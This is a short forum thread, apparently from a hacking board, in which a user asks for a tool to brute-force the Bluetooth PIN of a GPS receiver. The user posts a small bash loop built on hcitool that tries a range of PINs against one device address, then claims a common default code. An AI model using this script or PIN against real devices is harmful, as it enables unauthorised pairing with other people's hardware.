Bluetooth password brute force

[metnik]

Do u know if exist a tool that tries to crack a password of a GPS BT (for example)?

On Linux there is:

hcitool cc <addr>
hcitool auth <addr>

the pin (passkey) is stored in a file, but I got some problems with timeout

[metnik]

#!/bin/bash
for i in `seq 10 20`;
do
sleep 3
echo $i
bt=00:09:2D:4D:27:C7 && echo $i>pin && hcitool cc $bt && hcitool auth $bt
done

I did this stupid script in bash but It works on a very small range :twisted:

Is possible that nobody did a tool to crack static pin on GPS?

[metnik]

the code is standard for all :P 6268
